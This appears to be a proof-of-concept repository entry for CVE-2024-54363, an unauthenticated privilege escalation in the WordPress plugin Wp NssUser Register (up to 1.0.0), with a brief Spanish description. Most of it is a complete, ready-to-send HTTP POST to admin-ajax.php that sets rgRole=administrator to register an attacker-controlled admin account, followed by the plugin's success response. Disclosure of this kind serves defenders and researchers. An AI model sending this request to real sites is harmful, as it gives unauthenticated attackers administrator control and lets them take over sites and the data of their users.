randomrobbiebf/cve-2024-54363Wp NssUser Register <= 1.0.0 - Escalada de Privilegios No Autenticada
Wp NssUser Register <= 1.0.0 - Escalada de privilegios no autenticada
El complemento Wp NssUser Register para WordPress es vulnerable a la escalada de privilegios en todas las versiones hasta la 1.0.0, inclusive. Esto permite que atacantes no autenticados se registren en el sitio como administradores.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Referer: http://example.com/
action=nssTheme_registration_form&rgName=admin2&[email protected]&rgFname=Attacker&rgLname=User&rgRole=administrator&rg_pass=evilpass
<p>successful, just Check this: </p> <a href="https://wp-dev.ddev.site/wp-login.php" title="Login">Login</a>